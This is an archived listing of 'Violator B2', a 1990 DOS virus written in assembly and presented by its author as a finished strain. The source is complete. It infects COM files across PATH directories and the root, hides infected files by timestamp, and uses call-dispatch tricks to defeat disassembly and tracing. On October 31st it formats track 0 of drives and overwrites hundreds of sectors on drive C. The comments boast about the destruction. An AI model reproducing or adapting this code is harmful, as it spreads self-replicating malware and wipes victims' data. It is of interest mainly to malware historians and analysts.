home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / VIOL-B2.ASM < prev    next >
Assembly Source File  |  1990-10-03  |  17KB  |  510 lines

  1. ;*****************************************************************************
  2. ;
  3. ;                        Violator - Strain B2
  4. ;
  5. ;*****************************************************************************
  6. ;
  7. ; (Sep/23/90)
  8. ;
  9. ; Development Notes:
  10. ;
  11. ; In this version, I have implemented various methods of thwarting users
  12. ; attempts to dissassemble this program as well as tracing various interrupt
  13. ; calls.
  14. ;
  15. ; This was done by setting a marker and then doing a CALL to a location which
  16. ; will decide which interrupt to issue based on the marker value. Couple this
  17. ; with multiple jumps, and it is enough to make any dissassembler puke it's
  18. ; guts out, not to mention anyone looking at us with debug will probably
  19. ; have an enema before they find out which interrupt we are using.
  20. ;
  21. ; Also, I have added a routine to thouroughly mess up drive C at the end of
  22. ; wiping out all drive. This was taken from Violator A becuase it worked to
  23. ; nicely destruction-wise.
  24. ;
  25. ; In other notes, this sucker is set to go off on October 31st 1990.
  26. ;
  27. ; UIV v1.0 is still on the fritz and will not become Violator C until I fix it
  28. ; to wipe out vectors 13, 26, and 21 (HEX).
  29. ;
  30. ; (Oct.02.90)
  31. ;
  32. ; Made a minor change so that INT 26 will also be accessed via flag.
  33. ;
  34. ;*****************************************************************************
  35. ;
  36. ;                Written by - The High Evolutionary - 
  37. ;                  RABID Head Programmer
  38. ;
  39. ;          Copyright (C) 199O by RABID Nat'nl Development Corp.
  40. ;
  41. ;*****************************************************************************
  42.  
  43. MOV_CX  MACRO   X
  44.         DB      0B9H                
  45.         DW      X
  46. ENDM
  47.  
  48. CODE    SEGMENT
  49.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  50.         ORG     $+0100H                ; Set ORG to 100H plus our own
  51.                         
  52. VCODE:  JMP     virus
  53.  
  54.     NOP
  55.     NOP
  56.     NOP                     ;15 NOP's to place JMP Header
  57.     NOP
  58.     NOP
  59.     NOP
  60.     NOP
  61.     NOP
  62.     NOP
  63.     NOP
  64.     NOP
  65.     NOP
  66.     NOP
  67.     NOP
  68.     NOP
  69.     
  70. v_start equ     $
  71.  
  72.  
  73. virus:  PUSH    CX
  74.         MOV     DX,OFFSET vir_dat       
  75.         CLD                             
  76.         MOV     SI,DX                   
  77.         ADD     SI,first_3              
  78.     MOV    CX,3
  79.         MOV     DI,OFFSET 100H          
  80.         REPZ    MOVSB                   
  81.         MOV     SI,DX                   
  82.     MOV     AH,30H
  83.     MOV    marker,1
  84.     call    weed    
  85.     CMP    AL,0                ;Quit it it's DOS 1.0
  86.     JNZ    dos_ok
  87.         JMP     quit                 
  88.  
  89. dos_ok: PUSH    ES
  90.         MOV     AH,2FH
  91.         MOV    marker,1
  92.     CALL    weed
  93.         MOV     [SI+old_dta],BX
  94.         MOV     [SI+old_dts],ES         
  95.         POP     ES
  96.         MOV     DX,dta                  
  97.         ADD     DX,SI                    
  98.         MOV     AH,1AH
  99.         MOV    marker,1
  100.     CALL    weed                     
  101.         PUSH    ES
  102.         PUSH    SI
  103.         MOV     ES,DS:2CH
  104.         MOV     DI,0                    
  105.     JMP    year_check
  106.  
  107. ;
  108. ; This routine weed's out the calls...
  109. ;
  110.  
  111. weed:    CMP    marker,1        ;Check to see if it's an INT 21 call
  112.     JE      int_21                 ;If yes,then go and issue an INT 21
  113.     CMP    marker,2        ;Check to see if it's an INT 13 call
  114.     JE    int_13            ;If yes, then go and issue an INT 13
  115.     CMP    marker,3        ;Check to see if it's an INT 26 call
  116.     JE     int_26            ;If yes, then go and issue an INT 26
  117.     RET                ;Go back to where we were called from
  118.     
  119. ;
  120. ; The RET there is unnecessary, but I put it there just to be on the safe side
  121. ; incase of a "What If?" scenario... The real valid RET is issued from the JE
  122. ; locations (int_21 and int_13)... You may choose to comment this line on
  123. ; compilation, but what difference does one byte make ?
  124. ;
  125.  
  126. year_check:
  127.     MOV    AH,2AH            ;Get date info
  128.     MOV    marker,1        ;Call DOS
  129.     CALL    weed
  130.     CMP    CX,1990            ;Check to see if the year is 1990
  131.     JGE    month_check        ;If greater or equal, check month
  132.     JMP    find_path        ;If not, go on with infection
  133.     
  134. month_check:
  135.     MOV    AH,2AH            ;Get date info
  136.     MOV    marker,1        ;Call DOS
  137.     CALL    weed
  138.     CMP    DH,10            ;Check to see if it is October
  139.     JGE    day_check        ;If greater or equal, check day
  140.     JMP    find_path        ;if not, go on with infection
  141.  
  142. day_check:
  143.     MOV    AH,2Ah            ;Get date info
  144.     MOV    marker,1        ;Call DOS
  145.     CALL    weed
  146.     CMP    DL,31            ;Check to see if it is the 31st
  147.     JGE     multiplex        ;If yes, then nuke drives A:-Z:
  148.     JMP    find_path        ;If not, then go on with infection
  149.  
  150. int_21:    INT    21h            ;Issue an INT 21
  151.     RET                ;Return from CALL
  152.  
  153. multiplex:
  154.     MOV    AL,cntr            ;Counter is the drive to kill
  155.     CALL    alter            ;Go and kill the drive
  156.                                         ;25 is drive Z:
  157.     CMP    cntr,25            ;Is (cntr) 25 ?
  158.     JE    really_nuke        ;Now go and Blow up drive C:
  159.     INC    cntr            ;Add one to (cntr)
  160.     LOOP    multiplex        ;Loop back up to kill next drive
  161.  
  162. int_26:    INT    26h
  163.     RET
  164.  
  165. alter:
  166.     MOV    AH,05            ;Format Track
  167.     MOV    CH,0            ;Format track 0
  168.     MOV    DH,0            ;Head 0
  169.     MOV    DL,cntr            ;Format for drive in (cntr)
  170.     MOV    marker,2        ;Call RWTS
  171.     CALL    weed
  172.     RET                ;Return up for next drive
  173.  
  174. int_13: INT    13h            ;Issue an INT 13
  175.     RET                ;Return from CALL
  176.                       
  177. really_nuke:
  178.     MOV    AL,2            ;Set to fry drive C
  179.     MOV    CX,700            ;Set to write 700 sectors
  180.     MOV    DX,00            ;Starting at sector 0
  181.     MOV    DS,[DI+99]        ;Put random crap in DS
  182.     MOV    BX,[DI+55]        ;More crap in BX
  183.     MOV    marker,3        ;Call BIOS
  184.     CALL     weed
  185.     POPF                ;Pop the flags because INT 26 messes
  186.                     ;them up
  187.     
  188. find_path:
  189.         POP     SI            
  190.         PUSH    SI                                       
  191.         ADD     SI,env_str              
  192.         LODSB                
  193.         MOV     CX,OFFSET 8000H         
  194.         REPNZ   SCASB                   
  195.         MOV     CX,4                                                
  196.  
  197. check_next_4:
  198.         LODSB
  199.         SCASB
  200. ;
  201. ; The JNZ line specifies that if there is no PATH present, then we will go
  202. ; along and infect the ROOT directory on the default drive.
  203. ;
  204.         JNZ     find_path               ;If not path, then go to ROOT dir    
  205.         LOOP    check_next_4            ;Go back and check for more chars
  206.         POP     SI            ;Load in PATH again to look for chars
  207.         POP     ES
  208.         MOV     [SI+path_ad],DI         
  209.         MOV     DI,SI            
  210.         ADD     DI,wrk_spc              ;Put the filename in wrk_spc
  211.         MOV     BX,SI                   
  212.         ADD     SI,wrk_spc              
  213.         MOV     DI,SI                   
  214.         JMP     SHORT   slash_ok
  215.  
  216. ;*****************************************************************************
  217. ;
  218. ; Infection Notes: (Oct.02.90)
  219. ;
  220. ; A wierd thing happened a few days ago, I was testing this virus out on my
  221. ; system under Flushot + and I monitored everything that was going on. Here is
  222. ; the exact order that Violator infects stuff:
  223. ;
  224. ; 1) If there is a path used, we first infect the current directory until
  225. ;    full.
  226. ;
  227. ;    If there is no path, we infect the current directory either way...
  228. ;
  229. ; 2) If there is no path, we then infect the current directory, and then
  230. ;    go on and infect all COM'z in the root directory.
  231. ;
  232. ; 3) Finally, after everything in the path has been infected, we then go and
  233. ;    infect all of the COM shit in the root directory...
  234. ;
  235. ;    This results in a bug with the slash checker. It checks to see if there is
  236. ;    a slash on the end of the path, and if there is none, it adds one. But
  237. ;    what would happen if there's no path??? It'll still add a slash. 
  238. ;    This benefit's us greatly. Anyway, on with the code...
  239. ;
  240. ;*****************************************************************************
  241.  
  242. set_subdir:
  243.         CMP     WORD PTR [SI+path_ad],0 
  244.         JNZ     found_subdir            
  245.         JMP     all_done                
  246.  
  247.  
  248. found_subdir:
  249.         PUSH    DS
  250.         PUSH    SI
  251.         MOV     DS,ES:2CH               
  252.         MOV     DI,SI
  253.         MOV     SI,ES:[DI+path_ad]      
  254.         ADD     DI,wrk_spc              ;DI is the file name to infect! (hehe)
  255.  
  256.  
  257. move_subdir:
  258.         LODSB                           ;To tedious work to move into subdir
  259.         CMP     AL,';'                  ;Does it end with a ; charachter?
  260.         JZ      moved_one               ;if yes, then we found a subdir 
  261.         CMP     AL,0                    ;is it the end of the path?
  262.         JZ      moved_last_one          ;if yes, then we save the PATH
  263.         STOSB                           ;marker into DI for future reference
  264.         JMP     SHORT   move_subdir
  265.  
  266. moved_last_one:
  267.         MOV     SI,0
  268.  
  269. moved_one:
  270.         POP     BX                      ;BX is where the virus data is
  271.         POP     DS                      ;Restore DS so that we can do stuph
  272.         MOV     [BX+path_ad],SI         ;Where is the next subdir?
  273.         NOP
  274.         CMP     CH,'\'                  ;Check to see if it ends in \
  275.         JZ      slash_ok                ;If yes, then it's OK
  276.         MOV     AL,'\'                  ;if not, then add one...
  277.         STOSB                ;store the sucker
  278.  
  279.  
  280. slash_ok:
  281.         MOV     [BX+nam_ptr],DI         ;Move the filename into workspace
  282.         MOV     SI,BX                   ;Restore the original SI value
  283.         ADD     SI,f_spec               ;Point to COM file victim
  284.         MOV     CX,6
  285.         REPZ    MOVSB                   ;Move victim into workspace
  286.         MOV     SI,BX
  287.         MOV     AH,4EH
  288.         MOV     DX,wrk_spc
  289.         ADD     DX,SI                   ;DX is ... THE VICTIM!!!          
  290.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  291.         MOV    marker,1
  292.     CALL    weed
  293.         JMP     SHORT   find_first
  294.  
  295. find_next:
  296.         MOV     AH,4FH
  297.         MOV    marker,1
  298.     CALL    weed
  299.  
  300. find_first:
  301.         JNB     found_file              ;Jump if we found it
  302.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  303.  
  304. found_file:
  305.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  306.         AND     AL,1EH                  ;Mask to remove all but seconds
  307.         CMP     AL,1EH                  ;60 seconds 
  308.         JZ      find_next               
  309.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  310.         JA      find_next               ;If too long, find another one
  311.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  312.         JB      find_next               ;Then go find another one
  313.         MOV     DI,[SI+nam_ptr]         
  314.         PUSH    SI                      
  315.         ADD     SI,dta_nam              
  316.  
  317. more_chars:
  318.         LODSB
  319.         STOSB
  320.         CMP     AL,0
  321.         JNZ     more_chars              
  322.         POP     SI
  323.         MOV     AX,OFFSET 4300H
  324.         MOV     DX,wrk_spc              
  325.         ADD     DX,SI
  326.     MOV    marker,1
  327.     CALL    weed
  328.         MOV     [SI+old_att],CX         
  329.         MOV     AX,OFFSET 4301H         
  330.         AND     CX,OFFSET 0FFFEH        
  331.         MOV     DX,wrk_spc              
  332.         ADD     DX,SI                   
  333.     MOV    marker,1
  334.     CALL    weed
  335.         MOV     AX,OFFSET 3D02H         
  336.         MOV     DX,wrk_spc              
  337.         ADD     DX,SI                   
  338.         MOV    marker,1
  339.     CALL    weed
  340.         JNB     opened_ok               
  341.         JMP     fix_attr                
  342.  
  343. opened_ok:
  344.         MOV     BX,AX
  345.         MOV     AX,OFFSET 5700H
  346.         MOV    marker,1
  347.     CALL    weed
  348.         MOV     [SI+old_tim],CX         ;Save file time
  349.         MOV     [SI+ol_date],DX         ;Save the date
  350.         MOV     AH,2CH
  351.         MOV    marker,1
  352.     CALL    weed
  353.         AND     DH,7                    
  354.         JMP     infect
  355.  
  356. infect:
  357.         MOV     AH,3FH
  358.         MOV     CX,3
  359.         MOV     DX,first_3
  360.         ADD     DX,SI
  361.         MOV    marker,1
  362.     CALL    weed                 ;Save first 3 bytes into the data area
  363.         JB      fix_time_stamp  
  364.         CMP     AX,3            
  365.         JNZ     fix_time_stamp  
  366.         MOV     AX,OFFSET 4202H
  367.         MOV     CX,0
  368.         MOV     DX,0
  369.         MOV    marker,1
  370.     CALL    weed
  371.         JB      fix_time_stamp  
  372.         MOV     CX,AX           
  373.         SUB     AX,3            
  374.         MOV     [SI+jmp_dsp],AX 
  375.         ADD     CX,OFFSET c_len_y
  376.         MOV     DI,SI           
  377.         SUB     DI,OFFSET c_len_x
  378.                                 
  379.         MOV     [DI],CX         
  380.         MOV     AH,40H
  381.         MOV_CX  virlen                  
  382.         MOV     DX,SI
  383.         SUB     DX,OFFSET codelen       
  384.         MOV    marker,1
  385.     CALL    weed
  386.         JB      fix_time_stamp          
  387.         CMP     AX,OFFSET virlen        
  388.         JNZ     fix_time_stamp          
  389.         MOV     AX,OFFSET 4200H
  390.         MOV     CX,0
  391.         MOV     DX,0
  392.         MOV    marker,1
  393.     CALL    weed
  394.         JB      fix_time_stamp          
  395.         MOV     AH,40H
  396.         MOV     CX,3
  397.         MOV     DX,SI                   
  398.         ADD     DX,jmp_op               
  399.         MOV    marker,1
  400.     CALL    weed
  401.  
  402. fix_time_stamp:
  403.         MOV     DX,[SI+ol_date]         
  404.         MOV     CX,[SI+old_tim]         
  405.         AND     CX,OFFSET 0FFE0H
  406.         OR      CX,1EH                  
  407.         MOV     AX,OFFSET 5701H
  408.         MOV    marker,1
  409.     CALL    weed
  410.         MOV     AH,3EH
  411.         MOV    marker,1
  412.     CALL    weed
  413.  
  414. fix_attr:
  415.         MOV     AX,OFFSET 4301H
  416.         MOV     CX,[SI+old_att]         
  417.         MOV     DX,wrk_spc
  418.         ADD     DX,SI                   
  419.         MOV    marker,1
  420.     CALL    weed
  421.  
  422. all_done:
  423.         PUSH    DS
  424.         MOV     AH,1AH
  425.         MOV     DX,[SI+old_dta]
  426.         MOV     DS,[SI+old_dts]
  427.         MOV    marker,1
  428.     CALL    weed
  429.     POP     DS
  430.  
  431. quit:
  432.         POP     CX
  433.         XOR     AX,AX            ;XOR values so that we will give the
  434.         XOR     BX,BX            ;poor sucker a hard time trying to
  435.         XOR     DX,DX            ;reassemble the source code if he
  436.         XOR     SI,SI            ;decides to dissassemble us.
  437.         MOV     DI,OFFSET 0100H
  438.         PUSH    DI
  439.         XOR     DI,DI
  440.         RET     0FFFFH            ;Return back to the beginning
  441.                     ;of the program
  442. ;
  443. ; It seems as if there is a bit of a misunderstanding about the above line.
  444. ; What it simply does is returns from the JMP that we issued at the beginning
  445. ; of the program. Heceforth, an infected program will have something to the
  446. ; effect of 2145:0100 JMP 104B and the program will then jump to the 
  447. ; beginning of us. Then we go along our merry way of infecting files until
  448. ; we are done and then come up to the RET 0FFFFH line. This is just like a 
  449. ; plain RET put as we all know, you can't RET from a JMP, so this line kinda
  450. ; tricks DOS to return back to the line after the one that issued the original
  451. ; JMP, thus, it returns to line 2145:0102 and begins with the real program...
  452. ;
  453. ; Clear? Good...
  454.  
  455. vir_dat EQU     $
  456.  
  457. ;
  458. ; Change the next line on release of compiled file...
  459. ;
  460. intro    db    'Violator B2 (C) ''9O RABID Nat''nl Development Corp.',13,10
  461. olddta_ DW      0                       
  462. olddts_ DW      0                       
  463. oldtim_ DW      0                       
  464. count_    DW    0
  465. cntr     DB     2                ; Drive to nuke from (C:+++)
  466. marker    DB    0                ; This is used for INT purposes
  467. oldate_ DW      0                       
  468. oldatt_ DW      0                       
  469. first3_ EQU     $
  470.         INT     20H
  471.         NOP
  472. jmpop_  DB      0E9H                    
  473. jmpdsp_ DW      0                       
  474. fspec_  DB      '*.COM',0
  475. pathad_ DW      0                       
  476. namptr_ DW      0                       
  477. envstr_ DB      'PATH='                 
  478. wrkspc_ DB      40h dup (0)
  479. dta_    DB      16h dup (0)             
  480. dtatim_ DW      0,0                     
  481. dtalen_ DW      0,0                     
  482. dtanam_ DB      0Dh dup (0)             
  483. lst_byt EQU     $                       
  484. virlen  =       lst_byt - v_start       
  485. codelen =       vir_dat - v_start       
  486. c_len_x =       vir_dat - v_start - 2   
  487. c_len_y =       vir_dat - v_start + 100H
  488. old_dta =       olddta_ - vir_dat       
  489. old_dts =       olddts_ - vir_dat       
  490. old_tim =       oldtim_ - vir_dat       
  491. ol_date =       oldate_ - vir_dat       
  492. old_att =       oldatt_ - vir_dat       
  493. first_3 =       first3_ - vir_dat       
  494. jmp_op  =       jmpop_  - vir_dat       
  495. jmp_dsp =       jmpdsp_ - vir_dat       
  496. f_spec  =       fspec_  - vir_dat       
  497. path_ad =       pathad_ - vir_dat       
  498. nam_ptr =       namptr_ - vir_dat       
  499. env_str =       envstr_ - vir_dat       
  500. wrk_spc =       wrkspc_ - vir_dat       
  501. dta     =       dta_    - vir_dat       
  502. dta_tim =       dtatim_ - vir_dat       
  503. dta_len =       dtalen_ - vir_dat       
  504. dta_nam =       dtanam_ - vir_dat       
  505. count     =    count_  - vir_dat
  506.  
  507.         CODE    ENDS
  508. END     VCODE
  509.  
  510.